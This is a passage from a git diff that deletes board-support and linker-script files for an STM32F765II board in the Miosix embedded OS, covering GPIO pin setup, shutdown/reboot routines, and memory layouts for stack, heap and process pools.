led2::mode(Mode::OUTPUT); - btn0::mode(Mode::INPUT); - btn1::mode(Mode::INPUT); - btn2::mode(Mode::INPUT); - btn3::mode(Mode::INPUT); - sdmmcCD::mode(Mode::INPUT); - sdmmcWP::mode(Mode::INPUT); - - ledOn(); - delayMs(100); - ledOff(); - auto tx=Gpio::getPin(); tx.alternateFunction(7); - auto rx=Gpio::getPin(); rx.alternateFunction(7); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(3, defaultSerialSpeed, tx, rx))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} // namespace miosix diff --git a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/interfaces-impl/bsp_impl.h deleted file mode 100644 index 315e04f8e..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,94 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*************************************************************************** - * bsp_impl.h Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ***************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * Board pin definition - */ -using led1 = Gpio; -using led2 = Gpio; -using btn0 = Gpio; // SW504 -using btn1 = Gpio; // SW503 -using btn2 = Gpio; // SW502 -using btn3 = Gpio; // SW501 -using sdmmcCD = Gpio; -using sdmmcWP = Gpio; - -inline void ledOn() -{ - led1::high(); -} - -inline void ledOff() -{ - led1::low(); -} - -inline void led1On() { led1::high(); } - -inline void led1Off() { led1::low(); } - -inline void led2On() { led2::high(); } - -inline void led2Off() { led2::low(); } - -/** - * Polls the SD card sense GPIO. - * - * This board has a Hirose DM1A SD card connector with external pullup for the - * card detect pin, which is shorted to ground when a card is inserted. - */ -inline bool sdCardSense() -{ - return !sdmmcCD::value(); -} - -/** -\} -*/ - -} // namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2M+384k_xram-heap_256M.ld b/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2M+384k_xram-heap_256M.ld deleted file mode 100644 index cb8704753..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2M+384k_xram-heap_256M.ld +++ /dev/null @@ -1,185 +0,0 @@ -/* - * C++ enabled linker script for stm32f765ii (2M FLASH, 384K RAM) + 256MB xram - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the DTCM 128KB RAM - * - .data and .bss in SRAM1 (368kB) and SRAM2 (16kB) - * - heap (and stacks) in external SDRAM bank 1 (256MB) - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -_main_stack_size = 512; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap to XRAM bank 1 */ -_end = 0xd0000000; /* start of heap */ -_heap_end = 0xe0000000; /* end of heap */ - -/* Establish a temporary location for a temporary stack used at boot time */ -_boot_stack_top = 0x20000000 + 512K; - -/* Identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* - * Specify the memory areas - * - * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled - * Memory). Technically, we could use this as normal RAM as there's a way for - * the DMA to access it, but the datasheet is unclear about performance - * penalties for doing so. To avoid nonuniform DMA memory access latencies, - * we leave this 128KB DTCM unused except for the first 512Bytes which are for - * the interrupt stack. This leaves us with 384KB of RAM - */ -MEMORY -{ - sram(wx) : ORIGIN = 0x20020000, LENGTH = 384K - dtcm(wx) : ORIGIN = 0x20000000, LENGTH = 128K /* Used for main stack */ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* - * .data section: global variables go to sram, but also store a copy to - * flash to initialize them - */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > sram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to sram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > sram - _bss_end = .; - - /* - _end = .; - PROVIDE(end = .); - */ -} diff --git a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2M+384k_xram_256M.ld b/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2M+384k_xram_256M.ld deleted file mode 100644 index 145101e63..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2M+384k_xram_256M.ld +++ /dev/null @@ -1,172 +0,0 @@ -/* - * C++ enabled linker script for stm32f765ii (2M FLASH, 384K RAM) + 256MB xram - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack in the DTCM 128KB RAM - * - .data, .bss, heap (and stacks) in external SDRAM (256MB) - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -_main_stack_size = 512; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap to the end of SRAM2 */ -_heap_end = 0xe0000000; /* end of available ram */ - -/* Establish a temporary location for a temporary stack used at boot time */ -_boot_stack_top = 0x20000000 + 512K; - -/* Identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -MEMORY -{ - xram(wx) : ORIGIN = 0xd0000000, LENGTH = 256M /* everything else */ - sram(wx) : ORIGIN = 0x20020000, LENGTH = 384K /* unused */ - dtcm(wx) : ORIGIN = 0x20000000, LENGTH = 128K /* main stack */ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M /* constant data/code */ -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* - * .data section: global variables go to sram, but also store a copy to - * flash to initialize them - */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > xram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to sram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > xram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2m+384k_ram.ld b/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2m+384k_ram.ld deleted file mode 100644 index e4a89682c..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2m+384k_ram.ld +++ /dev/null @@ -1,181 +0,0 @@ -/* - * C++ enabled linker script for stm32f765ii (2M FLASH, 384K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack in the DTCM 128KB RAM - * - .data, .bss, heap (and stacks) in SRAM1 (368kB) and SRAM2 (16kB) - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -_main_stack_size = 512; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap to the end of SRAM2 */ -_heap_end = 0x20000000 + 512K; /* end of available ram */ - -/* Establish a temporary location for a temporary stack used at boot time */ -_boot_stack_top = _heap_end; - -/* Identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* - * Specify the memory areas - * - * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled - * Memory). Technically, we could use this as normal RAM as there's a way for - * the DMA to access it, but the datasheet is unclear about performance - * penalties for doing so. To avoid nonuniform DMA memory access latencies, - * we leave this 128KB DTCM unused except for the first 512Bytes which are for - * the interrupt stack. This leaves us with 384KB of RAM - */ -MEMORY -{ - sram(wx) : ORIGIN = 0x20020000, LENGTH = 384K - dtcm(wx) : ORIGIN = 0x20000000, LENGTH = 128K /* Used for main stack */ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* - * .data section: global variables go to sram, but also store a copy to - * flash to initialize them - */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > sram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to sram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > sram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2m+384k_ram_processes.ld b/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2m+384k_ram_processes.ld deleted file mode 100644 index 3923edb9e..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2m+384k_ram_processes.ld +++ /dev/null @@ -1,186 +0,0 @@ -/* - * C++ enabled linker script for stm32f765ii (2M FLASH, 384K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack in the DTCM 128KB RAM - * - .data, .bss, heap (and stacks) in the lower 128K of SRAM - * - process pool in the upper 256K of SRAM - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -_main_stack_size = 512; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap to the lower 128K of the large 384K RAM */ -_heap_end = 0x20020000 + 128K; - -/* Establish a temporary location for a temporary stack used at boot time */ -_boot_stack_top = _heap_end; - -/* Mapping the process pool into the upper 256K of the large 384K RAM */ -_process_pool_start = _heap_end; -_process_pool_end = 0x20020000 + 384K; /* end of available ram */ - -/* Identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* - * Specify the memory areas - * - * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled - * Memory). Technically, we could use this as normal RAM as there's a way for - * the DMA to access it, but the datasheet is unclear about performance - * penalties for doing so. To avoid nonuniform DMA memory access latencies, - * we leave this 128KB DTCM unused except for the first 512Bytes which are for - * the interrupt stack. This leaves us with 384KB of RAM - */ -MEMORY -{ - sram(wx) : ORIGIN = 0x20020000, LENGTH = 128K - dtcm(wx) : ORIGIN = 0x20000000, LENGTH = 128K /* Used for main stack */ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* - * .data section: global variables go to sram, but also store a copy to - * flash to initialize them - */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > sram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to sram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > sram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2m+384k_xram_256M_processes.ld b/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2m+384k_xram_256M_processes.ld deleted file mode 100644 index 49a3b450e..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/stm32_2m+384k_xram_256M_processes.ld +++ /dev/null @@ -1,186 +0,0 @@ -/* - * C++ enabled linker script for stm32f765ii (2M FLASH, 384K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack in the DTCM 128KB RAM - * - .data, .bss, heap (and stacks) in SRAM1 (368kB) and SRAM2 (16kB) - * - process pool in external SDRAM bank 1 (256M) - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -_main_stack_size = 512; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap to the end of SRAM2 */ -_heap_end = 0x20000000 + 512K; /* end of available ram */ - -/* Establish a temporary location for a temporary stack used at boot time */ -_boot_stack_top = _heap_end; - -/* Mapping the process pool into external SDRAM bank 1 */ -_process_pool_start = 0xd0000000; -_process_pool_end = 0xd0000000 + 256M; /* end of available ram */ - -/* Identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* - * Specify the memory areas - * - * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled - * Memory). Technically, we could use this as normal RAM as there's a way for - * the DMA to access it, but the datasheet is unclear about performance - * penalties for doing so. To avoid nonuniform DMA memory access latencies, - * we leave this 128KB DTCM unused except for the first 512Bytes which are for - * the interrupt stack. This leaves us with 384KB of RAM - */ -MEMORY -{ - sram(wx) : ORIGIN = 0x20020000, LENGTH = 384K - dtcm(wx) : ORIGIN = 0x20000000, LENGTH = 128K /* Used for main stack */ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* - * .data section: global variables go to sram, but also store a copy to - * flash to initialize them - */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > sram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to sram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > sram - 